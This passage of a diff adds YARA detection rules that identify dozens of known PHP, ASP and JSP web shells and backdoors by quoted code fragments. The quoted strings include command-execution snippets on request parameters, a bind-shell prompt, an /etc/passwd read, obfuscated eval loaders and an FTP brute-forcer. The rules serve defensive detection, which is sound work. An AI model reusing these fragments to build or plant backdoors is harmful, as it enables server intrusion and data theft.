+		$s9 = "<form action=<?=$script?>?act=backconnect method=POST>" fullword
+		$s11 = "<form action=<?=$script?>?act=mkdir method=POST>" fullword
+		$s16 = "die(\"<font color=#DF0000>Login error</font>\");" fullword
+		$s20 = "<b>Bind /bin/bash at port: </b><input type=text name=port size=8>" fullword
+	condition:
+		2 of them
+}
+rule WebShell_php_webshells_matamu {
+	meta:
+		description = "PHP Webshells Github Archive - file matamu.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "d477aae6bd2f288b578dbf05c1c46b3aaa474733"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s2 = "$command .= ' -F';" fullword
+		$s3 = "/* We try and match a cd command. */" fullword
+		$s4 = "directory... Trust me - it works :-) */" fullword
+		$s5 = "$command .= \" 1> $tmpfile 2>&1; \" ." fullword
+		$s10 = "$new_dir = $regs[1]; // 'cd /something/...'" fullword
+		$s16 = "/* The last / in work_dir were the first charecter." fullword
+	condition:
+		2 of them
+}
+rule WebShell_ru24_post_sh {
+	meta:
+		description = "PHP Webshells Github Archive - file ru24_post_sh.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "d2c18766a1cd4dda928c12ff7b519578ccec0769"
+		id = "86a45d72-c42d-58d5-9969-d3ebfc22853d"
+	strings:
+		$s1 = "http://www.ru24-team.net" fullword
+		$s4 = "if ((!$_POST['cmd']) || ($_POST['cmd']==\"\")) { $_POST['cmd']=\"id;pwd;uname -a"
+		$s6 = "Ru24PostWebShell"
+		$s7 = "Writed by DreAmeRz" fullword
+		$s9 = "$function=passthru; // system, exec, cmd" fullword
+	condition:
+		1 of them
+}
+rule WebShell_hiddens_shell_v1 {
+	meta:
+		description = "PHP Webshells Github Archive - file hiddens shell v1.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "1674bd40eb98b48427c547bf9143aa7fbe2f4a59"
+		id = "7194998e-c84c-5f59-92fe-857ecf7e8e88"
+	strings:
+		$s0 = "<?$d='G7mHWQ9vvXiL/QX2oZ2VTDpo6g3FYAa6X+8DMIzcD0eHZaBZH7jFpZzUz7XNenxSYvBP2Wy36U"
+	condition:
+		all of them
+}
+rule WebShell_c99_madnet {
+	meta:
+		description = "PHP Webshells Github Archive - file c99_madnet.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "17613df393d0a99fd5bea18b2d4707f566cff219"
+		id = "f2b9c3d1-1c55-59cb-a9bf-8b4011f86a3b"
+	strings:
+		$s0 = "$md5_pass = \"\"; //If no pass then hash" fullword
+		$s1 = "eval(gzinflate(base64_decode('"
+		$s2 = "$pass = \"pass\";  //Pass" fullword
+		$s3 = "$login = \"user\"; //Login" fullword
+		$s4 = "             //Authentication" fullword
+	condition:
+		all of them
+}
+rule WebShell_c99_locus7s {
+	meta:
+		description = "PHP Webshells Github Archive - file c99_locus7s.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "d413d4700daed07561c9f95e1468fb80238fbf3c"
+		id = "f92fe5a2-e465-56ed-a77b-b32ea4c2c105"
+	strings:
+		$s8 = "$encoded = base64_encode(file_get_contents($d.$f)); " fullword
+		$s9 = "$file = $tmpdir.\"dump_\".getenv(\"SERVER_NAME\").\"_\".$db.\"_\".date(\"d-m-Y"
+		$s10 = "else {$tmp = htmlspecialchars(\"./dump_\".getenv(\"SERVER_NAME\").\"_\".$sq"
+		$s11 = "$c99sh_sourcesurl = \"http://locus7s.com/\"; //Sources-server " fullword
+		$s19 = "$nixpwdperpage = 100; // Get first N lines from /etc/passwd " fullword
+	condition:
+		2 of them
+}
+rule WebShell_JspWebshell_1_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file JspWebshell_1.2.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "0bed4a1966117dd872ac9e8dceceb54024a030fa"
+		id = "dfd8c88d-4fe2-5786-9d71-65dba525c358"
+	strings:
+		$s0 = "System.out.println(\"CreateAndDeleteFolder is error:\"+ex); " fullword
+		$s1 = "String password=request.getParameter(\"password\");" fullword
+		$s3 = "<%@ page contentType=\"text/html; charset=GBK\" language=\"java\" import=\"java."
+		$s7 = "String editfile=request.getParameter(\"editfile\");" fullword
+		$s8 = "//String tempfilename=request.getParameter(\"file\");" fullword
+		$s12 = "password = (String)session.getAttribute(\"password\");" fullword
+	condition:
+		3 of them
+}
+rule WebShell_safe0ver {
+	meta:
+		description = "PHP Webshells Github Archive - file safe0ver.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "366639526d92bd38ff7218b8539ac0f154190eb8"
+		id = "a7fc8c89-f7a1-5958-823a-763dedb3066d"
+	strings:
+		$s3 = "$scriptident = \"$scriptTitle By Evilc0der.com\";" fullword
+		$s4 = "while (file_exists(\"$lastdir/newfile$i.txt\"))" fullword
+		$s5 = "else { /* <!-- Then it must be a File... --> */" fullword
+		$s7 = "$contents .= htmlentities( $line ) ;" fullword
+		$s8 = "<br><p><br>Safe Mode ByPAss<p><form method=\"POST\">" fullword
+		$s14 = "elseif ( $cmd==\"upload\" ) { /* <!-- Upload File form --> */ " fullword
+		$s20 = "/* <!-- End of Actions --> */" fullword
+	condition:
+		3 of them
+}
+rule WebShell_Uploader {
+	meta:
+		description = "PHP Webshells Github Archive - file Uploader.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "e216c5863a23fde8a449c31660fd413d77cce0b7"
+		id = "c68e15d9-865e-5269-a91c-00619fe76305"
+	strings:
+		$s1 = "move_uploaded_file($userfile, \"entrika.php\"); " fullword
+	condition:
+		all of them
+}
+rule WebShell_php_webshells_kral {
+	meta:
+		description = "PHP Webshells Github Archive - file kral.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "4cd1d1a2fd448cecc605970e3a89f3c2e5c80dfc"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "$adres=gethostbyname($ip);" fullword
+		$s3 = "curl_setopt($ch,CURLOPT_POSTFIELDS,\"domain=\".$site);" fullword
+		$s4 = "$ekle=\"/index.php?option=com_user&view=reset&layout=confirm\";" fullword
+		$s16 = "echo $son.' <br> <font color=\"green\">Access</font><br>';" fullword
+		$s17 = "<p>kodlama by <a href=\"mailto:priv8coder@gmail.com\">BLaSTER</a><br /"
+		$s20 = "<p><strong>Server listeleyici</strong><br />" fullword
+	condition:
+		2 of them
+}
+rule WebShell_cgitelnet {
+	meta:
+		description = "PHP Webshells Github Archive - file cgitelnet.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "72e5f0e4cd438e47b6454de297267770a36cbeb3"
+		id = "b02d8549-ebfe-522c-9a6d-8657273da3ed"
+	strings:
+		$s9 = "# Author Homepage: http://www.rohitab.com/" fullword
+		$s10 = "elsif($Action eq \"command\") # user wants to run a command" fullword
+		$s18 = "# in a command line on Windows NT." fullword
+		$s20 = "print \"Transfered $TargetFileSize Bytes.<br>\";" fullword
+	condition:
+		2 of them
+}
+rule WebShell_simple_backdoor_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file simple-backdoor.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		old_rule_name = "WebShell_simple_backdoor"
+		hash = "edcd5157a68fa00723a506ca86d6cbb8884ef512"
+		id = "faddd38e-d0c6-5299-9983-53351af1ece5"
+	strings:
+		$s0 = "<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->" fullword
+		$s1 = "<!--    http://michaeldaw.org   2006    -->" fullword
+		$s2 = "Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd" fullword
+		$s3 = "        echo \"</pre>\";" fullword
+		$s4 = "        $cmd = ($_REQUEST['cmd']);" fullword
+		$s5 = "        echo \"<pre>\";" fullword
+		$s6 = "if(isset($_REQUEST['cmd'])){" fullword
+		$s7 = "        die;" fullword
+		$s8 = "        system($cmd);" fullword
+	condition:
+		all of them
+}
+rule WebShell_Safe_Mode_Bypass_PHP_4_4_2_and_PHP_5_1_2_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "8fdd4e0e87c044177e9e1c97084eb5b18e2f1c25"
+		id = "a504442f-85f2-55a1-8a07-1e0faccf8bc0"
+	strings:
+		$s1 = "<option value=\"/etc/passwd\">Get /etc/passwd</option>" fullword
+		$s3 = "xb5@hotmail.com</FONT></CENTER></B>\");" fullword
+		$s4 = "$v = @ini_get(\"open_basedir\");" fullword
+		$s6 = "by PHP Emperor<xb5@hotmail.com>" fullword
+	condition:
+		2 of them
+}
+rule WebShell_NTDaddy_v1_9 {
+	meta:
+		description = "PHP Webshells Github Archive - file NTDaddy v1.9.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "79519aa407fff72b7510c6a63c877f2e07d7554b"
+		id = "a175fd28-5dc2-5827-87f0-4117e889e90e"
+	strings:
+		$s2 = "|     -obzerve : mr_o@ihateclowns.com |" fullword
+		$s6 = "szTempFile = \"C:\\\" & oFileSys.GetTempName( )" fullword
+		$s13 = "<form action=ntdaddy.asp method=post>" fullword
+		$s17 = "response.write(\"<ERROR: THIS IS NOT A TEXT FILE>\")" fullword
+	condition:
+		2 of them
+}
+rule WebShell_lamashell {
+	meta:
+		description = "PHP Webshells Github Archive - file lamashell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "b71181e0d899b2b07bc55aebb27da6706ea1b560"
+		id = "60e39eed-baa2-5999-8560-0a0242ce2608"
+	strings:
+		$s0 = "if(($_POST['exe']) == \"Execute\") {" fullword
+		$s8 = "$curcmd = $_POST['king'];" fullword
+		$s16 = "\"http://www.w3.org/TR/html4/loose.dtd\">" fullword
+		$s18 = "<title>lama's'hell v. 3.0</title>" fullword
+		$s19 = "_|_  O    _    O  _|_"
+		$s20 = "$curcmd = \"ls -lah\";" fullword
+	condition:
+		2 of them
+}
+rule WebShell_Simple_PHP_backdoor_by_DK {
+	meta:
+		description = "PHP Webshells Github Archive - file Simple_PHP_backdoor_by_DK.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "03f6215548ed370bec0332199be7c4f68105274e"
+		id = "2c424714-1d2c-5b89-b1bc-a201e37a0a5d"
+	strings:
+		$s0 = "<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->" fullword
+		$s1 = "<!--    http://michaeldaw.org   2006    -->" fullword
+		$s2 = "Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd" fullword
+		$s6 = "if(isset($_REQUEST['cmd'])){" fullword
+		$s8 = "system($cmd);" fullword
+	condition:
+		2 of them
+}
+rule WebShell_Moroccan_Spamers_Ma_EditioN_By_GhOsT {
+	meta:
+		description = "PHP Webshells Github Archive - file Moroccan Spamers Ma-EditioN By GhOsT.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "31e5473920a2cc445d246bc5820037d8fe383201"
+		id = "4fa9ce70-d300-55fe-bf98-636f026317ec"
+	strings:
+		$s4 = "$content = chunk_split(base64_encode($content)); " fullword
+		$s12 = "print \"Sending mail to $to....... \"; " fullword
+		$s16 = "if (!$from && !$subject && !$message && !$emaillist){ " fullword
+	condition:
+		all of them
+}
+rule WebShell_C99madShell_v__2_0_madnet_edition {
+	meta:
+		description = "PHP Webshells Github Archive - file C99madShell v. 2.0 madnet edition.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "f99f8228eb12746847f54bad45084f19d1a7e111"
+		id = "51db0495-14f3-527e-865b-1405db57ff27"
+	strings:
+		$s0 = "$md5_pass = \"\"; //If no pass then hash" fullword
+		$s1 = "eval(gzinflate(base64_decode('"
+		$s2 = "$pass = \"\";  //Pass" fullword
+		$s3 = "$login = \"\"; //Login" fullword
+		$s4 = "//Authentication" fullword
+	condition:
+		all of them
+}
+rule WebShell_CmdAsp_asp_php {
+	meta:
+		description = "PHP Webshells Github Archive - file CmdAsp.asp.php.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "cb18e1ac11e37e236e244b96c2af2d313feda696"
+		id = "184b1731-31a9-5040-aa25-d145e8064758"
+	strings:
+		$s1 = "szTempFile = \"C:\\\" & oFileSys.GetTempName( )" fullword
+		$s4 = "' Author: Maceo <maceo @ dogmile.com>" fullword
+		$s5 = "' -- Use a poor man's pipe ... a temp file -- '" fullword
+		$s6 = "' --------------------o0o--------------------" fullword
+		$s8 = "' File: CmdAsp.asp" fullword
+		$s11 = "<-- CmdAsp.asp -->" fullword
+		$s14 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword
+		$s16 = "Set oScriptNet = Server.CreateObject(\"WSCRIPT.NETWORK\")" fullword
+		$s19 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
+	condition:
+		4 of them
+}
+rule WebShell_NCC_Shell {
+	meta:
+		description = "PHP Webshells Github Archive - file NCC-Shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "64d4495875a809b2730bd93bec2e33902ea80a53"
+		id = "3a2dab3d-faf0-52a5-b114-db402885c618"
+	strings:
+		$s0 = " if (isset($_FILES['probe']) and ! $_FILES['probe']['error']) {" fullword
+		$s1 = "<b>--Coded by Silver" fullword
+		$s2 = "<title>Upload - Shell/Datei</title>" fullword
+		$s8 = "<a href=\"http://www.n-c-c.6x.to\" target=\"_blank\">-->NCC<--</a></center></b><"
+		$s14 = "~|_Team .:National Cracker Crew:._|~<br>" fullword
+		$s18 = "printf(\"Sie ist %u Bytes gro" fullword
+	condition:
+		3 of them
+}
+rule WebShell_php_webshells_README {
+	meta:
+		description = "PHP Webshells Github Archive - file README.md"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "ef2c567b4782c994db48de0168deb29c812f7204"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "Common php webshells. Do not host the file(s) in your server!" fullword
+		$s1 = "php-webshells" fullword
+	condition:
+		all of them
+}
+rule WebShell_backupsql {
+	meta:
+		description = "PHP Webshells Github Archive - file backupsql.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "863e017545ec8e16a0df5f420f2d708631020dd4"
+		id = "15d6e967-1e53-53b4-a2cf-7786452495d4"
+	strings:
+		$s0 = "$headers .= \"\\nMIME-Version: 1.0\\n\" .\"Content-Type: multipart/mixed;\\n\" ."
+		$s1 = "$ftpconnect = \"ncftpput -u $ftp_user_name -p $ftp_user_pass -d debsender_ftplog"
+		$s2 = "* as email attachment, or send to a remote ftp server by" fullword
+		$s16 = "* Neagu Mihai<neagumihai@hotmail.com>" fullword
+		$s17 = "$from    = \"Neu-Cool@email.com\";  // Who should the emails be sent from?, may "
+	condition:
+		2 of them
+}
+rule WebShell_AK_74_Security_Team_Web_Shell_Beta_Version {
+	meta:
+		description = "PHP Webshells Github Archive - file AK-74 Security Team Web Shell Beta Version.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "c90b0ba575f432ecc08f8f292f3013b5532fe2c4"
+		id = "e93a6ac3-080f-53d3-8368-b9feb509a2ea"
+	strings:
+		$s8 = "- AK-74 Security Team Web Site: www.ak74-team.net" fullword
+		$s9 = "<b><font color=#830000>8. X Forwarded For IP - </font></b><font color=#830000>'."
+		$s10 = "<b><font color=#83000>Execute system commands!</font></b>" fullword
+	condition:
+		1 of them
+}
+rule WebShell_php_webshells_cpanel {
+	meta:
+		description = "PHP Webshells Github Archive - file cpanel.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "433dab17106b175c7cf73f4f094e835d453c0874"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "function ftp_check($host,$user,$pass,$timeout){" fullword
+		$s3 = "curl_setopt($ch, CURLOPT_URL, \"http://$host:2082\");" fullword
+		$s4 = "[ user@alturks.com ]# info<b><br><font face=tahoma><br>" fullword
+		$s12 = "curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);" fullword
+		$s13 = "Powerful tool , ftp and cPanel brute forcer , php 5.2.9 safe_mode & open_basedir"
+		$s20 = "<br><b>Please enter your USERNAME and PASSWORD to logon<br>" fullword
+	condition:
+		2 of them
+}
+rule WebShell_accept_language {
+	meta:
+		description = "PHP Webshells Github Archive - file accept_language.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "180b13576f8a5407ab3325671b63750adbcb62c9"
+		id = "343ed2a4-4bed-5e73-8d05-f9573b0147af"
+	strings:
+		$s0 = "<?php passthru(getenv(\"HTTP_ACCEPT_LANGUAGE\")); echo '<br> by q1w2e3r4'; ?>" fullword
+	condition:
+		all of them
+}
+rule WebShell_php_webshells_529 {
+	meta:
+		description = "PHP Webshells Github Archive - file 529.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "ba3fb2995528307487dff7d5b624d9f4c94c75d3"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<p>More: <a href=\"/\">Md5Cracking.Com Crew</a> " fullword
+		$s7 = "href=\"/\" title=\"Securityhouse\">Security House - Shell Center - Edited By Kin"
+		$s9 = "echo '<PRE><P>This is exploit from <a " fullword
+		$s10 = "This Exploit Was Edited By KingDefacer" fullword
+		$s13 = "safe_mode and open_basedir Bypass PHP 5.2.9 " fullword
+		$s14 = "$hardstyle = explode(\"/\", $file); " fullword
+		$s20 = "while($level--) chdir(\"..\"); " fullword
+	condition:
+		2 of them
+}
+rule WebShell_STNC_WebShell_v0_8 {
+	meta:
+		description = "PHP Webshells Github Archive - file STNC WebShell v0.8.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "52068c9dff65f1caae8f4c60d0225708612bb8bc"
+		id = "5dc300a2-9965-52e3-a382-b8d327eb7029"
+	strings:
+		$s3 = "if(isset($_POST[\"action\"])) $action = $_POST[\"action\"];" fullword
+		$s8 = "elseif(fe(\"system\")){ob_start();system($s);$r=ob_get_contents();ob_end_clean()"
+		$s13 = "{ $pwd = $_POST[\"pwd\"]; $type = filetype($pwd); if($type === \"dir\")chdir($pw"
+	condition:
+		2 of them
+}
+rule WebShell_php_webshells_tryag {
+	meta:
+		description = "PHP Webshells Github Archive - file tryag.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "42d837e9ab764e95ed11b8bd6c29699d13fe4c41"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "<title>TrYaG Team - TrYaG.php - Edited By KingDefacer</title>" fullword
+		$s3 = "$tabledump = \"DROP TABLE IF EXISTS $table;\\n\"; " fullword
+		$s6 = "$string = !empty($_POST['string']) ? $_POST['string'] : 0; " fullword
+		$s7 = "$tabledump .= \"CREATE TABLE $table (\\n\"; " fullword
+		$s14 = "echo \"<center><div id=logostrip>Edit file: $editfile </div><form action='$REQUE"
+	condition:
+		3 of them
+}
+rule WebShell_dC3_Security_Crew_Shell_PRiV_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file dC3 Security Crew Shell PRiV.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "9077eb05f4ce19c31c93c2421430dd3068a37f17"
+		id = "1d4a95c4-8128-504d-958f-dcc5c68f4975"
+	strings:
+		$s0 = "@rmdir($_GET['file']) or die (\"[-]Error deleting dir!\");" fullword
+		$s9 = "header(\"Last-Modified: \".date(\"r\",filemtime(__FILE__)));" fullword
+		$s13 = "header(\"Content-type: image/gif\");" fullword
+		$s14 = "@copy($file,$to) or die (\"[-]Error copying file!\");" fullword
+		$s20 = "if (isset($_GET['rename_all'])) {" fullword
+	condition:
+		3 of them
+}
+rule WebShell_qsd_php_backdoor {
+	meta:
+		description = "PHP Webshells Github Archive - file qsd-php-backdoor.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "4856bce45fc5b3f938d8125f7cdd35a8bbae380f"
+		id = "f8208851-159c-5d0b-91ad-478aeb4fc9fd"
+	strings:
+		$s1 = "// A robust backdoor script made by Daniel Berliner - http://www.qsdconsulting.c"
+		$s2 = "if(isset($_POST[\"newcontent\"]))" fullword
+		$s3 = "foreach($parts as $val)//Assemble the path back together" fullword
+		$s7 = "$_POST[\"newcontent\"]=urldecode(base64_decode($_POST[\"newcontent\"]));" fullword
+	condition:
+		2 of them
+}
+rule WebShell_php_webshells_spygrup {
+	meta:
+		description = "PHP Webshells Github Archive - file spygrup.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "12f9105332f5dc5d6360a26706cd79afa07fe004"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s2 = "kingdefacer@msn.com</FONT></CENTER></B>\");" fullword
+		$s6 = "if($_POST['root']) $root = $_POST['root'];" fullword
+		$s12 = "\".htmlspecialchars($file).\" Bu Dosya zaten Goruntuleniyor<kingdefacer@msn.com>" fullword
+		$s18 = "By KingDefacer From Spygrup.org>" fullword
+	condition:
+		3 of them
+}
+rule WebShell_Web_shell__c_ShAnKaR {
+	meta:
+		description = "PHP Webshells Github Archive - file Web-shell (c)ShAnKaR.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "3dd4f25bd132beb59d2ae0c813373c9ea20e1b7a"
+		id = "966f5580-21c5-5ecf-b500-bde3d1ba4494"
+	strings:
+		$s0 = "header(\"Content-Length: \".filesize($_POST['downf']));" fullword
+		$s5 = "if($_POST['save']==0){echo \"<textarea cols=70 rows=10>\".htmlspecialchars($dump"
+		$s6 = "write(\"#\\n#Server : \".getenv('SERVER_NAME').\"" fullword
+		$s12 = "foreach(@file($_POST['passwd']) as $fed)echo $fed;" fullword
+	condition:
+		2 of them
+}
+rule WebShell_Ayyildiz_Tim___AYT__Shell_v_2_1_Biz {
+	meta:
+		description = "PHP Webshells Github Archive - file Ayyildiz Tim  -AYT- Shell v 2.1 Biz.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "5fe8c1d01dc5bc70372a8a04410faf8fcde3cb68"
+		id = "fdd9bae9-80f3-5200-b922-e7d194009af8"
+	strings:
+		$s7 = "<meta name=\"Copyright\" content=TouCh By iJOo\">" fullword
+		$s11 = "directory... Trust me - it works :-) */" fullword
+		$s15 = "/* ls looks much better with ' -F', IMHO. */" fullword
+		$s16 = "} else if ($command == 'ls') {" fullword
+	condition:
+		3 of them
+}
+rule WebShell_Gamma_Web_Shell {
+	meta:
+		description = "PHP Webshells Github Archive - file Gamma Web Shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "7ef773df7a2f221468cc8f7683e1ace6b1e8139a"
+		id = "43b4fc9f-8897-5553-8846-29d307efa885"
+	strings:
+		$s4 = "$ok_commands = ['ls', 'ls -l', 'pwd', 'uptime'];" fullword
+		$s8 = "### Gamma Group <http://www.gammacenter.com>" fullword
+		$s15 = "my $error = \"This command is not available in the restricted mode.\\n\";" fullword
+		$s20 = "my $command = $self->query('command');" fullword
+	condition:
+		2 of them
+}
+rule WebShell_php_webshells_aspydrv {
+	meta:
+		description = "PHP Webshells Github Archive - file aspydrv.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "3d8996b625025dc549d73cdb3e5fa678ab35d32a"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "Target = \"D:\\hshome\\masterhr\\masterhr.com\\\"  ' ---Directory to which files"
+		$s1 = "nPos = InstrB(nPosEnd, biData, CByteString(\"Content-Type:\"))" fullword
+		$s3 = "Document.frmSQL.mPage.value = Document.frmSQL.mPage.value - 1" fullword
+		$s17 = "If request.querystring(\"getDRVs\")=\"@\" then" fullword
+		$s20 = "' ---Copy Too Folder routine Start" fullword
+	condition:
+		3 of them
+}
+rule WebShell_JspWebshell_1_2_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file JspWebshell 1.2.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "184fc72b51d1429c44a4c8de43081e00967cf86b"
+		id = "659f5c7d-0a9c-554d-a0ad-e3bcb8c5a1e9"
+	strings:
+		$s0 = "System.out.println(\"CreateAndDeleteFolder is error:\"+ex); " fullword
+		$s3 = "<%@ page contentType=\"text/html; charset=GBK\" language=\"java\" import=\"java."
+		$s4 = "// String tempfilepath=request.getParameter(\"filepath\");" fullword
+		$s15 = "endPoint=random1.getFilePointer();" fullword
+		$s20 = "if (request.getParameter(\"command\") != null) {" fullword
+	condition:
+		3 of them
+}
+rule WebShell_g00nshell_v1_3 {
+	meta:
+		description = "PHP Webshells Github Archive - file g00nshell-v1.3.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "70fe072e120249c9e2f0a8e9019f984aea84a504"
+		id = "61a09576-7e62-5a30-a52c-492b81b96322"
+	strings:
+		$s10 = "#To execute commands, simply include ?cmd=___ in the url. #" fullword
+		$s15 = "$query = \"SHOW COLUMNS FROM \" . $_GET['table'];" fullword
+		$s16 = "$uakey = \"724ea055b975621b9d679f7077257bd9\"; // MD5 encoded user-agent" fullword
+		$s17 = "echo(\"<form method='GET' name='shell'>\");" fullword
+		$s18 = "echo(\"<form method='post' action='?act=sql'>\");" fullword
+	condition:
+		2 of them
+}
+rule WebShell_WinX_Shell_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file WinX Shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		old_rule_name = "WebShell_WinX_Shell"
+		hash = "a94d65c168344ad9fa406d219bdf60150c02010e"
+		id = "ebad4f2e-96c3-5cb7-b228-de3a6a39ae55"
+	strings:
+		$s4 = "// It's simple shell for all Win OS." fullword
+		$s5 = "//------- [netstat -an] and [ipconfig] and [tasklist] ------------" fullword
+		$s6 = "<html><head><title>-:[GreenwooD]:- WinX Shell</title></head>" fullword
+		$s13 = "// Created by greenwood from n57" fullword
+		$s20 = " if (is_uploaded_file($userfile)) {" fullword
+	condition:
+		3 of them
+}
+rule WebShell_PHANTASMA {
+	meta:
+		description = "PHP Webshells Github Archive - file PHANTASMA.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "cd12d42abf854cd34ff9e93a80d464620af6d75e"
+		id = "b36a7dbb-7d40-5fca-8409-c8822298005c"
+	strings:
+		$s12 = "\"    printf(\\\"Usage: %s [Host] <port>\\\\n\\\", argv[0]);\\n\" ." fullword
+		$s15 = "if ($portscan != \"\") {" fullword
+		$s16 = "echo \"<br>Banner: $get <br><br>\";" fullword
